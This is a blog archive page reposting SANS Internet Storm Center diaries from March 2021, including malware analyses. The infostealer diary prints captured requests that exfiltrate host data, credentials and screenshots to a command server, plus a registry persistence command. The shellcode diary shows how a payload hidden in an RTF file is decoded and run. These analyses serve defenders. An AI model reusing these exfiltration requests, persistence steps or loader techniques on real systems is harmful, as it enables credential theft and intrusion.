Blog

Archive for March, 2021

April 2021 Forensic Quiz, (Thu, Apr 1st)

Introduction

Today’s diary is a forensic quiz for April 2021.  This month’s quiz will also be a contest.  The prize is a Raspberry Pi.  Rules for the contest follow:

  • Only one submission per person.
  • The first person to submit the correct answers will win the Raspberry Pi.
  • Submissions will be made using the form on our contact page at: https://isc.sans.edu/contact.html
  • Use April 2021 Forensic Quiz Submission for the Subject: line.
  • Provide the following information:
    • IP address of the infected Windows computer.
    • Host name of the infected Windows computer.
    • User account name on the infected Windows computer.
    • Date and time the infection activity began in UTC (the GMT or Zulu timezone).
    • The family or families of malware on the infected computer.

Material for this forensic quiz is located at this Github repository.  This repository contains a zip archive containing a pcap of network traffic from the infected Windows host.  The repository also contains another zip archive with malware and artifacts recovered from the infected Windows host.  Be very careful with the malware and artifacts zip because it has actual malware from a recently-infected Windows computer.  If you don’t know what you’re doing, do not download the malware and artifacts.  I always recommend people do this quiz in a non-Windows environment, if possible.


Shown above:  A meme about usernames and passwords on an infected Windows host.

Requirements

Analysis of the infection traffic requires Wireshark or some other pcap analysis tool.  Wireshark is my tool of choice to review pcaps of infection traffic.  However, default settings for Wireshark are not optimized for web-based malware traffic.  That’s why I encourage people to customize Wireshark after installing it.  To help, I’ve written a series of tutorials.  The ones most helpful for this quiz are:

I always recommend participants use a non-Windows environment like BSD, Linux, or macOS.  Why?  Because most pcaps in these traffic analysis quizzes contain traffic with Windows-based malware.  If you’re using a Windows host to review such pcaps, your antivirus (or Windows Defender) may delete or alter the pcap.  Worst case?  If you extract malware from a pcap and accidentally run it, you might infect your Windows computer.

Analysis of the malware and artifacts should also be done in a non-Windows environment, unless you are a skilled malware analyst.  However, reviewing the malware and artifacts in a non-Windows environment like Linux shouldn’t pose any problems.  Feel free to search for (or submit) malware from this quiz on sites like:

Most of the above sites require some sort of account to log in and search for samples.  Some of these sites provide free accounts that only require a valid email address.  Alternatively, search Google or other search engines for the SHA256 hashes of malware samples from this quiz.  You might get links from the above sites in your search results.

Active Directory (AD) Environment

The infected Windows host is part of an AD environment, so the pcap contains information about the Windows user account. The user account is formatted as firstname.lastname.  The AD environment characteristics are:

  • LAN segment range: 192.168.5.0/24 (192.168.5.0 through 192.168.5.255)
  • Domain: cliffwater.net
  • Domain Controller: 192.168.5.5 – Cliffwater-DC
  • LAN segment gateway: 192.168.5.1
  • LAN segment broadcast address: 192.168.5.255

Final Words

Again, the zip archive with a pcap of the traffic for this exercise is available in this Github repository.  The winner of today’s contest and analysis of the infection will be posted in an upcoming ISC diary two weeks from today on Wednesday April 14th.

I think the Raspberry Pi is an older model like a Raspberry Pi 2 or Raspberry Pi 3, but I will find out and update or add a comment to this diary.

Brad Duncan
brad [at] malware-traffic-analysis.net

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Quick Analysis of a Modular InfoStealer, (Wed, Mar 31st)

This morning, an interesting phishing email landed in my spam trap. The mail was redacted in Spanish and, as usual, asked the recipient to urgently process the attached document. The filename was “AVISO.001” (This extension is used by multi-volume archives). The archive contained a PE file with a very long name: AVISO11504122921827776385010767000154304736120425314155656824545860211706529881523930427.exe (SHA256:ff834f404b977a475ef56f1fa81cf91f0ac7e07b8d44e0c224861a3287f47c8c). The file is unknown on VT at this time so I did a quick analysis.

It first performs a quick review of the target and exfiltrates the collected information:

POST /7Ndd3SnW/index.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: 176[.]111[.]174[.]67
Content-Length: 83
Cache-Control: no-cache

id=152140224449&vs=2.11&sd=c5c741&os=9&bi=1&ar=1&pc=WIN7X64&un=user01&dm=&av=0&lv=0

You can see the name of the computer (“pc=”), the user (“un=”). No AV is running (av=0). There is an ID (randomly generated) and a version of the malware or campaign? (“vs=”).

The next step is to drop itself into C:ProgramData11ab573a3rween.exe. This malware is modular and downloads two DLLs located on the C2 server:

Those DLLs are known on VT [1][2]:

[email protected]:/MalwareZoo/20210331$ shasum -a 256 *.dll
6f917b86c623a4ef2326de062cb206208b25d93f6d7a2911bc7c10f7c83ffd64  cred.dll
3d0efa67d54ee1452aa53f35db5552fe079adfd14f1fe312097b266943dd9644  scr.dll

Persistence is achieved via a new registry key. Any shortcut created to the location pointed by a subkey Startup will launch the service during logon/reboot.

"C:WindowsSystem32cmd.exe" /C REG ADD "HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerUser Shell Folders" /f /v Startup /t REG_SZ /d C:ProgramData11ab573a3

DLLs are not loaded into the main program with LoadLibrary() but there are launched from rundll32:

"C:WindowsSystem32rundll32.exe" C:ProgramData5eba991cccd123cred.dll, Main
"C:WindowsSystem32rundll32.exe" C:ProgramData5eba991cccd123scr.dll, Main

Once the DLLs are launched, the exfiltration of data starts:

cred.dll is responsible for searching credentials. Example of probes detected:

  • Outlook (HKEY_CURRENT_USERSoftwareMicrosoftWindows NTCurrentVersionWindows Messaging SubsystemProfilesOutlook)
  • FileZilla (C:Usersuser01AppDataRoamingFileZillasitemanager.xml)
  • Purple (C:Usersuser01AppDataRoaming.purpleaccounts.xml)

Data is then exfiltrated:

POST //7Ndd3SnW/index.php HTTP/1.1
Host: 176.111.174.67
Content-Length: 21
Content-Type: application/x-www-form-urlencoded

id=152140224449&cred=

(In my sandbox, my credentials was available)

scr.dll is used to take screenshots at regular interval and also exfiltrate them:

POST //7Ndd3SnW/index.php?scr=up HTTP/1.1
Host: 176.111.174.67
User-Agent: Uploador
Content-Type: multipart/form-data; boundary=152140224449.jpg
Connection: Keep-Alive
Content-Length: 34758

--152140224449.jpg
Content-Disposition: form-data; name="data"; filename="152140224449.jpg"
Content-Type: application/octet-stream

......JFIF.............C.......... (data removed)

Note the nice User-Agent: “Uploador”. I found references to this string back in 2015![3].

Here is a screenshot of the C2 panel, a good old Amadey:

Even if the malware looks old-fashioned, it remains effective and already made some victims. I found a lot of screenshots (461) on the C2 server:

[1] https://www.virustotal.com/gui/file/6f917b86c623a4ef2326de062cb206208b25d93f6d7a2911bc7c10f7c83ffd64/detection
[2] https://www.virustotal.com/gui/file/3d0efa67d54ee1452aa53f35db5552fe079adfd14f1fe312097b266943dd9644/detection
[3] https://github.com/techbliss/Yara_Mailware_Quick_menu_scanner/blob/master/yara/malware/Derkziel_Stealer.yar
[4] https://blogs.blackberry.com/en/2020/01/threat-spotlight-amadey-bot

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Old TLS versions – gone, but not forgotten… well, not really "gone" either, (Tue, Mar 30th)

With the recent official deprecation of TLS 1.0 and TLS 1.1 by RFC 8996[1], a step, which has long been in preparation and which was preceded by many recommendations to discontinue the use of both protocols (as well as by the removal of support for them from all mainstream web browsers[2]), one might assume that the use of old TLS versions on the internet would have significantly decreased over the last few months. This has however not been the case.

According to Shodan, at the time of writing, TLS 1.0 and TLS 1.1 are still supported by over 50% of web servers on the internet (50.15% and 50.08% respectively). We’ll leave aside the potentially much more problematic 7.2% of web servers that still support SSL 3.0 and 1.6% of servers that support SSL 2.0…

What is interesting about the percentages for TLS 1.0 and TLS 1.1 is that both are almost the same as they were six months ago. As the following chart shows, there appeared to be a fairly significant decrease in support of both protocols between the second half of October 2020 and the end of January 2021, which was however followed by a later sharp increase, after which the percentages plateaued at around the current values.

The still significant support for TLS 1.1 and TLS 1.0 is hardly too big a problem, since, although these protocols can’t be called “secure” by today’s standards, most browsers won’t use them unless specifically configured to do so. The fact that the percentage of publicly accessible web servers, which still support the historical TLS versions, didn’t decrease significantly in the last six months is, however, certainly noteworthy.

To end on a positive note, TLS 1.3 is now supported by over 25% of web servers (25.22% to be specific), as you may have noticed in the first chart. It seems that even if old TLS versions will not leave us any time soon, support for the new and secure version of the protocol is certainly slowly increasing[3].

[1] https://datatracker.ietf.org/doc/rfc8996/?include_text=1
[2] https://en.wikipedia.org/wiki/Transport_Layer_Security#TLS_1.0
[3] https://isc.sans.edu/forums/diary/TLS+13+is+now+supported+by+about+1+in+every+5+HTTPS+servers/26936/

———–
Jan Kopriva
@jk0pr
Alef Nula

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Jumping into Shellcode, (Mon, Mar 29th)

Malware analysis is exciting because you never know what you will find. In previous diaries[1], I already explained why it’s important to have a look at groups of interesting Windows API call to detect some behaviors. The classic example is code injection. Usually, it is based on something like this:

1. You allocate some memory
2. You get a shellcode (downloaded, extracted from a specific location like a section, a resource, …)
3. You copy the shellcode in the newly allocated memory region
4. You create a new threat to execute it.

But it’s not always like this! Last week, I worked on an incident involving a malicious DLL that I analyzed. The technique used to execute the shellcode was slightly different and therefore interesting to describe it here.

The DLL was delivered on the target system with an RTF document. This file contained the shellcode:

[email protected]:/MalwareZoo/20210318$ rtfdump.py suspicious.rtf
    1 Level  1        c=    3 p=00000000 l=    1619 h=     143;       5 b=       0   u=     539 rtf1
    2  Level  2       c=    2 p=00000028 l=      91 h=       8;       2 b=       0   u=      16 fonttbl
    3   Level  3      c=    0 p=00000031 l=      35 h=       3;       2 b=       0   u=       5 f0
    4   Level  3      c=    0 p=00000056 l=      44 h=       5;       2 b=       0   u=      11 f1
    5  Level  2       c=    0 p=00000087 l=      33 h=       0;       4 b=       0   u=       2 colortbl
    6  Level  2       c=    0 p=000000ac l=      32 h=      13;       5 b=       0   u=       5 *generator
    7 Remainder       c=    0 p=00000655 l=  208396 h=   17913;       5 b=       0   u=  182176 
      Whitespace = 4878  NULL bytes = 838  Left curly braces = 832  Right curly braces = 818

This file is completely valid from an RTF format point of view, will open successfully, and render a fake document. But the attacker appended the shellcode at the end of the file (have a look at stream 7 which has a larger size and a lot of unexpected characters (“u=”). Let’s try to have a look at the shellcode:

[email protected]:/MalwareZoo/20210318$ rtfdump.py suspicious.rtf -s 7 | head -20
00000000: 0D 0A 00 6E 07 5D A7 5E  66 D2 97 1F 65 31 FD 7E  ...n.].^f...e1.~
00000010: D9 8E 9A C4 1C FC 73 79  F0 0B DA EA 6E 06 C3 03  ......sy....n...
00000020: 27 7C BD D7 23 84 0B BD  73 0C 0F 8D F9 DF CC E7  '|..#...s.......
00000030: 88 B9 97 06 A2 F9 4D 8C  91 D1 5E 39 A2 F5 9A 7E  ......M...^9...~
00000040: 4C D6 C8 A2 2D 88 D0 C4  16 E6 2B 1C DA 7B DD F7  L...-.....+..{..
00000050: C4 FB 61 34 A6 BE 8E 2F  9D 7D 96 A8 7E 00 E2 E8  ..a4.../.}..~...
00000060: BB A2 D9 53 1C F3 49 81  77 93 30 16 11 9D 88 93  ...S..I.w.0.....
00000070: D2 6C 9D 56 60 36 66 BA  29 3E 73 45 CE 1A BE E3  .l.V`6f.)>sE....
00000080: 5A C7 96 63 E0 D7 DF C9  21 2F 56 81 BD 84 6C 2D  Z..c....!/V...l-
00000090: CF 4C 4E BE 90 23 47 DC  A7 A9 8E A2 C3 A3 2E D1  .LN..#G.........

It looks encrypted and a brute force of a single XOR encoding was not successful. Let’s see how it works in a debugger.

First, the RTF file is opened to get a handle and its size is fetched with GetFileSize(). Then, a classic VirtualAlloc() is used to allocate a memory space equal to the size of the file. Note the “push 40” which means that the memory will contain executable code (PAGE_EXECUTE_READWRITE):

 

Usually, the shellcode is extracted from the file by reading the exact amount of bytes. The malware jumps to the position of the shellcode start in the file and reads bytes until the EOF. In this case, the complete RTF file is read then copied into the newly allocated memory:

This is the interesting part of the code which processes the shellcode:

The first line “mov word ptr ss:[ebp-18], 658” defines where the shellcode starts in the memory map. In a loop, all characters are XOR’d with a key that is generated in the function desktop.70901100. The next step is to jump to the location of the decoded shellcode:

The address where to jump is based on the address of the newly allocated memory (0x2B30000) + the offset (658). Let’s have a look at this location (0x2B30658):

Sounds good, we have a NOP sled at this location + the string “MZ”. Let’s execute the unconditional JMP:

We reached our shellcode! Note the NOP instructions and also the method used to get the EIP:

02B30665 | E8 00000000 | call 2B3066A | call $0
02B3066A | 5B          | pop ebx      | 

Now the shellcode will execute and perform the next stages of the infection…

[1] https://isc.sans.edu/forums/diary/Malware+Triage+with+FLOSS+API+Calls+Based+Behavior/26156

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

TCPView v4.0 Released, (Sun, Mar 28th)

TCPView is a Sysinternals’ tool that displays information about the TCP and UDP endpoints on a system. It’s like netstat, but with a GUI.

This new version brings some major new features: service identification, creation time and searching:

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Malware Analysis with elastic-agent and Microsoft Sandbox, (Fri, Mar 26th)

Microsoft describes the “Windows Sandbox supports simple configuration files, which provide a minimal set of customization parameters for Sandbox. […] Windows Sandbox configuration files are formatted as XML and are associated with Sandbox via the .wsb file extension.”[6]

Since both, the latest version elastic-agent (7.11+) support antivirus detection, I followed the instructions listed here [1] to configure an agent to test its detection capabilities. For my workstation, I used VMware with a fully patched Windows 10 and saved the current configuration with a snapshot. I wanted to combine both of these features; the elastic-agent and the Microsoft sandbox feature [4][5][6] to analyze my malware sample. Since the Microsoft sandbox doesn’t retain anything after it is shutdown, I figure this would be a good alternative vs. restoring my previous VMware snapshot every time I tested a suspicious filename.

One minor inconvenient, if I want to use the agent, I need to add it every time to Elasticsearch to use it. If the elastic-agent isn’t installed, Microsoft Defender is enabled. Here is a list of tools to either install or consider installing in the sandbox when it starts:

  • Elastic-agent with malware policy (in VMware client and Sandbox client)
  • MS SysMon
  • MS TCPView
  • Consider adding: PowerShell Script Block Logging, example here
  • Wireshark to capture traffic from host
  • Other browsers: Chrome & Firefox
  • PeStudio
  • Python
  • Internet Services Simulation Suite: INetSim
  • Didier Stevens suite of tools
  • Proxy setup on VMware client to monitor traffic
  • Any other tools you might find useful during the analysis such as this package by @mentebinaria

When starting the sandbox, using a script configured for this purpose, it can automatically load the tools needed with a batch file (MalwareAnalysis.wsb). Here is my example:


  Enable
  Enable
  Enable
  Enable
 
   
      C:Sandbox
      true
   
 

   C:usersWDAGUtilityAccountDesktopSandboxSBConfig.bat

Because everything is deleted when you shutdown the sandbox (including the browser, it must be reloaded with the current version every time), I needed a way to automatically start/add/load/update what I needed to perform some basic analysis. I use a batch file I preconfigured with everything I needed to accomplish this task. Here is what I have (C:SandboxSBConfig.bat):

REM Copy elastic-agent to C:Program Files
C:WindowsSystem32xcopy.exe /i /s C:UsersWDAGUtilityAccountDesktopSandboxelastic-agent “C:Program Fileselastic-agent”

REM Install Sysmon64, vcredist_x86
C:UsersWDAGUtilityAccountDesktopSandboxSysmon64.exe -i -accepteula
C:UsersWDAGUtilityAccountDesktopSandboxvcredist_x86.exe /q

REM Add Elastic certificate authority to Sandbox
C:WindowsSystem32certutil.exe -addstore root C:UsersWDAGUtilityAccountDesktopSandboxca.crt
C:WindowsSystem32certutil.exe -addstore root C:UsersWDAGUtilityAccountDesktopSandboxstargate.crt

REM Install new Microsoft Edge
start /wait C:UsersWDAGUtilityAccountDesktopSandboxMicrosoftEdgeEnterpriseX64.msi /quiet /norestart

REM Install Python
C:UsersWDAGUtilityAccountDesktopSandboxpython-3.9.2-amd64.exe /quiet InstallAllUsers=1 PrependPath=1 Include_test=0

REM Execute PowerShell scripts
Powershell.exe -executionpolicy remotesigned -File C:UsersWDAGUtilityAccountDesktopSandboxChangeExecutionPolicy.ps1
Powershell.exe -executionpolicy remotesigned -File C:UsersWDAGUtilityAccountDesktopSandboxScriptBlockLogging.ps1

REM Install Wireshark
REM Install npcap manually. Silent only supported with OEM
C:UsersWDAGUtilityAccountDesktopSandboxWireshark-win64-3.4.4.exe /S /D /desktopicon=yes
C:UsersWDAGUtilityAccountDesktopSandboxnpcap-1.20.exe

The file npcap is last because I’m using the free edition vs. the OEM which will ask to finish the installation after it starts the installer. Before you can enable ScriptBlockLogging in the Sandbox, I need to enable the PowerShell ExecutionPolicy to allow RemoteSigned. This is the command in my script to make that change (ChangeExecutionPolicy.ps1):

Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Force

To verify the change was applied, as PowerShell admin, execute the following command:

Get-ExecutionPolicy -List

Producing the following result:

Following the example listed here in this Elastic blog, it is time to create a policy, add the elastic-agent to Elasticsearch (pre-copied with the batch file SBConfig.bat) to run the sample file and monitor its activity. This is the four application part of the policy I configured for my agent:

After launching the script MalwareAnalysis.wsb to start the Sandbox, load, copy and install all the applications from the batch file, it is time to add the elastic-agent to the server, I am ready to launch the suspected malware file for analysis. Last month, my honeypot was uploaded a crypto miner file photo.scr and I’m going to use this file to submit the elastic-agent for analysis.

→ To view the results in Kibana, navigate Security -> Overview -> Detection alert trend
I look for activity that would indicate an alert triggered by malware and filter for the value, then View alerts to examine the flow of the activity. I can then select Analyze the content as to what this photo.scr file accessed or installed on the client. The agent captured 3 alerts:

Next is to expand one of those alerts and analyze the activity, the elastic-agent identified: 1 library, 53 networks and 7 registry:

Network Activty

Registry Activity

Each one of the can be expanded to drill further into what happened on the host.

Indicator of Compromise

SHA256
807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d  Photo.scr
[2021-02-08 07:06:36] [1693] [ftp_21_tcp 29914] [103.232.236.239:64149] info: Stored 1578496 bytes of data

Domains

stafftest[.]ru
iqtesti[.]ru
jobtests[.]ru
prtests[.]ru
qptest[.]ru
pstests[.]ru
testpsy[.]ru
profetest[.]ru
hrtests[.]ru

This is one of many tasks Windows Sandbox could be used such as accessing suspicious sites, running untrusted software and scripts starting with Windows network or vGPU disable, without the fear of impacting your normal Windows installation. These various tasks can be accomplished by creating  separate .wsb Sanbox script.

[1] https://www.elastic.co/blog/how-to-build-a-malware-analysis-sandbox-with-elastic-security
[2] https://www.elastic.co/endpoint-security/
[3] https://www.elastic.co/guide/en/security/current/install-endpoint.html
[4] https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-sandbox/windows-sandbox-overview
[5] https://techcommunity.microsoft.com/t5/windows-kernel-internals/windows-sandbox/ba-p/301849
[6] https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-sandbox/windows-sandbox-configure-using-wsb-file
[7] https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon
[8] https://docs.microsoft.com/en-us/sysinternals/downloads/tcpview
[9] https://github.com/mentebinaria/retoolkit?s=09
[10] https://www.virustotal.com/gui/file/807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d/detection
[11] https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_logging_windows?view=powershell-7.1

———–
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →
Page 1 of 6 12345...»